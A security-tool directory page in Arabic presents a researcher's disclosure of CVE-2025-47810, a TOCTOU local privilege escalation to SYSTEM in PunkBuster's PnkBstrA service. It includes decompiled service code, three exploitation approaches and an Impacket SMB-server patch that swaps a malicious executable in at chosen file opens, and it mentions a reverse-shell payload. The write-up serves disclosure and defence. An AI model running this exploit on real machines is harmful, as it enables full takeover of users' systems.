Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-47810 — PunkBuster LPI إلى NT AUTHORITY\SYSTEM | Kitploit
أدوات/GitHubGitHub/ptrstr/cve-2025-47810
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالحركة الجانبيةتحليل الملفات الثنائية
GitHubptrstr/cve-2025-47810

CVE-2025-47810

PunkBuster LPI إلى NT AUTHORITY\SYSTEM

عرض المستودع
2منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PunkBuster LPI (CVE-2025-47810)

Screenshot

الخلفية

يقوم برنامج PunkBuster بتثبيت نفسه كخدمتين، وبرنامج تشغيل kernel اختياري؟.

  • PnkBstrA: خدمة تعمل باستمرار في الخلفية، وتكون مسؤولة عن إدارة PunkBuster بشكل عام
  • PnkBstrB: خدمة تبدأ عند بدء لعبة محمية. تأتي بميزات أكثر من نظيرتها A.

تم تصميم كلتا الخدمتين بطريقة مماثلة، حيث تستمعان إلى UDP على localhost على منفذ في النطاق [44301, 44400]. بمجرد العثور على منفذ، يتم كتابته في قيمة Port في HKLM:\SOFTWARE\Even Balance\PnkBstrA أو HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA.

يتم تخزين كل طلب في مخزن مؤقت عالمي طوله 1500 بايت (ومع ذلك، يتم استقبال 1499 بايت فقط من أجل فاصل NUL).

لا يوجد هيكل قياسي لبيانات الطلب، ولكن إليك هيكلها المعتاد:

  • البايت الأول (عادةً حرف) يشير إلى الوظيفة التي سيتم استدعاؤها
  • وسائط للوظيفة، وعادةً ما تكون مفصولة بمسافات إذا كانت متعددة

أنواع الطلبات في PnkBstrA هي كما يلي:

  • l: تحميل (Load): يبدأ ويحدث PnkBstrB
    • يأخذ وسيطة واحدة (اختيارية) تشير إلى مسار الملف التنفيذي المحدث لـ PnkBstrB
  • u: إلغاء التحميل (Unload): إيقاف PnkBstrB
  • v: الإصدار (Version): ببساطة يرجع الإصدار
  • m: مراقبة (Monitor): يأخذ معرف العملية (PID)، ويتحقق مما إذا كانت مكتبة DLL الخاصة بعميل PunkBuster (pbcl.dll) موجودة في العملية، ويقوم بتفريغ ذاكرتها إذا كانت موجودة.

الثغرة الأمنية

يحتوي معالج التحميل (l) على ثغرة من نمط TOCTOU، مما يؤدي إلى تصعيد الصلاحيات المحلية كـ NT AUTHORITY\SYSTEM.

تدفق المعالج هو شيء من هذا القبيل:

  1. حذف خدمة PnkBstrB
  2. حساب MD5 للملف المحدد في الوسيطة، إذا كان موجودًا
  3. التحقق من Authenticode والشهادات الخاصة بالملف التنفيذي المحدد في الوسيطة، إذا كان موجودًا
    • من بين الفحوصات الأخرى، التأكد من أن موضوع الشهادة هو Even Balance, Inc.
  4. النوم لمدة تتراوح بين 750 مللي ثانية و 2.25 ثانية دون الاحتفاظ بمقابض للملف، أثناء محاولة نسخ الملف المحدد في الوسيطة إلى C:\Windows\SysWOW64\PnkBstrB.exe أو C:\Windows\System32\PnkBstrB.exe، حسب النظام الأساسي
  5. حساب MD5 للملف المنسوخ في دليل النظام
  6. التحقق من تطابق تجزئتي MD5
    • إذا تطابقتا، قم بإنشاء وبدء خدمة PnkBstrB التي تعمل كـ LocalSystem باستخدام الملف المنسوخ حديثًا.

المشكلة هنا هي أن الملف الذي يتلاعب به PnkBstrA يُعاد فتحه عدة مرات لكل عملية، مما يؤدي إلى موقف يمكن فيه للمهاجم تعديل الملف بين العمليات.

يمكن أن يؤدي هذا إلى مشكلة حيث بعد التحقق من شهادة الملف، يتم استبداله وينتهي الأمر بملف ضار كملف تنفيذي لخدمة PnkBstrB. هذا الملف التنفيذي سيجعل من الممكن لمستخدم غير مميز رفع صلاحياته إلى NT AUTHORITY\SYSTEM.

يظهر تفكيك الكود ذي الصلة هنا:

root@kitploit:~
int startPnkB(char *updateFileName) {
    ...

    // Calculate first MD5
    firstMd5Fp = fopen(updateFileName, "r+b");
    strcpy(firstMd5, "1");
    if ( firstMd5Fp )
      computeMD5(updateFileName, firstMd5);
    nowMs = GetTickCount();
    busyWaitExpiration = rand() % 800 + 300;
    while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
      ;
    fclose(firstMd5Fp);

    // INJECTION POINT 1

    // Check certificate
    certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
    if ( g_Warnings >= 3 )
    {
      log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
      if ( certificateFilePointer )
        fclose(certificateFilePointer);
      return 0;
    }

    if ( !checkValidCertificate(updateFileName) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
      goto LABEL_49;
    }

    // Build path to copy to
    GetSystemDirectoryA(g_SystemDirectory, 246u);
    if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
      strncat(g_SystemDirectory, 260, "\\");
    strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
    _chmod(g_SystemDirectory, 0600);
    strcpy(Str, g_SystemDirectory);

    ...

    // INJECTION POINT 2

    Sleep(750u);
    if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
    {
      Sleep(750u);
      for ( startTimea = 1; startTimea > 0; --startTimea )
      {
        Sleep(750u);
        if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
          break;
      }
      if ( startTimea < 1 )
      {
        LastError = GetLastError();
        log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
        fclose(certificateFilePointer);
        return 0;
      }
    }


    // Make sure we previously opened the file
    v9 = certificateFilePointer;
    if ( certificateFilePointer )
    {
      fclose(certificateFilePointer);
      v9 = fopen(g_SystemDirectory, "rb");
    }

    // Second MD5
    strcpy(newMd5, "2");
    if ( v9 )
      computeMD5(g_SystemDirectory, newMd5);
    if ( memcmp(firstMd5, newMd5, 0x10u) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
  LABEL_41:
      if ( v9 )
        fclose(v9);
      return 0;
    }
    ServiceA = CreateServiceA(
                 hSCManager,
                 "PnkBstrB",
                 "PnkBstrB",
                 0xF01FFu,
                 0x10u,
                 2u,
                 1u,
                 g_SystemDirectory,
                 0,
                 0,
                 0,
                 0,
                 0);

    ...
}

الإصلاح البسيط سيكون نسخ الملف أولاً إلى موقع آمن ولكن مؤقت (مثلاً: PnkBstrB.exe.tmp)، وحساب MD5 والفحوصات من هناك. بهذه الطريقة، لن يكون الملف قابلاً للتعديل من قبل جهة ضارة. سيضمن هذا أيضًا فتح نسخة واحدة من الملف، مما يمنع استغلال SMB.

الاستغلال

النهج 1

سيناريو الهجوم يمكن أن يكون توفير ملف ضار، انتظار حساب MD5، استبدال الملف بـ PnkBstrB.exe الأصلي بحيث تمر فحوصات WinVerifyTrust والشهادة، ثم استبداله مرة أخرى بالملف الضار، بحيث يمر MD5 الثاني ويتم نسخ الملف وتنفيذه.

ومع ذلك، من الصعب جدًا تنفيذ هذا السيناريو، حيث أن استبدال الملف صعب، وتعديله أثناء فتحه بواسطة PnkBstrA لا يبدو أنه يطبق التغييرات. ذلك لأنه من الصعب جدولة الكود الخاص بنا في نقطة الحقن 1 كما هو موضح في الكود. ربما يكون ذلك ممكنًا باستخدام العديد من الخيوط ذات الأولوية الحساسة للوقت، بعضها يحاول باستمرار استبدال الملف، والبعض الآخر يحجب النوى المتزامنة في انتظارات مشغولة.

النهج 2

نهج آخر سيكون محاولة الحصول على تصادم MD5 بين PnkBstrB والملف الضار. سيعمل هذا عن طريق جعل الملف الشرعي يُستخدم كمرشح لأول MD5 ويتم التحقق من شهادته. ومع ذلك، بعد ذلك لدينا فترة زمنية جيدة تبلغ 750 مللي ثانية أو أكثر لاستبدال الملف بملفنا. ثم، سيمر MD5 الثاني وسيتم حقن ملفنا. أثناء تطوير هذا، كنت كسولًا لانتظار توليد تصادم، لذلك اخترت نهجًا آخر.

النهج 3

هذا الكود يعتمد على Windows، ويستخدم fopen التي تتوافق مع وظائف الإدخال والإخراج الخاصة بـ Windows. بحكم التعريف، هذا يعني أن مشاركات SMB ستكون قابلة للوصول. علاوة على ذلك، يذكر MSDN أن هذا السلوك مدعوم:

fopen يقبل مسارات UNC والمسارات التي تتضمن محركات أقراص شبكة معينة طالما أن النظام الذي ينفذ الكود لديه حق الوصول إلى المشاركة أو محرك الأقراص المعين وقت التنفيذ

هذا يعني أنه يمكننا استخدام نهجنا الأول، ولكن نظرًا لأن الكود سيعتمد على مشاركة SMB الخاصة بنا، فإننا نرسل ملفات مختلفة اعتمادًا على عدد مرات طلب الملف.

من خلال تعديل smbserver الخاص بـ Impacket، من الممكن الحصول على هذا السلوك. يمكن العثور على ملف .patch الكامل هنا. التغييرات الرئيسية هي:

root@kitploit:~
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    ...
    
    if not hasattr(smbServer, '_hist'):
        smbServer._hist = {}

    if pathName.endswith('.exe'):
        if pathName not in smbServer._hist.keys():
            smbServer._hist[pathName] = 0
        
        smbServer._hist[pathName] += 1

        if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
            pathName = './PwnBstr.exe'
        else:
            pathName = './PnkBstrB.exe'

كما ترى، إذا كانت هذه هي المرة الأولى التي نفتح فيها الملف (أول MD5) أو على الأقل المرة الثامنة (نسخ الملف وما بعده)، فإننا نرسل للعميل الملف الضار، بينما نرسل الملف الأصلي في الحالات الأخرى.

يمكن العثور على كود الملف الضار هنا، وهي خدمة بسيطة لـ hello world مع شل عكسي.

https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220

الإفصاح

تم الاتصال بـ EvenBalance عدة مرات منذ 2025-02-15 عبر طرق مختلفة لكنه لم يرد.

تم الإفصاح الكامل عن هذه المشكلة في 2025-05-10.

تنزيل الأداة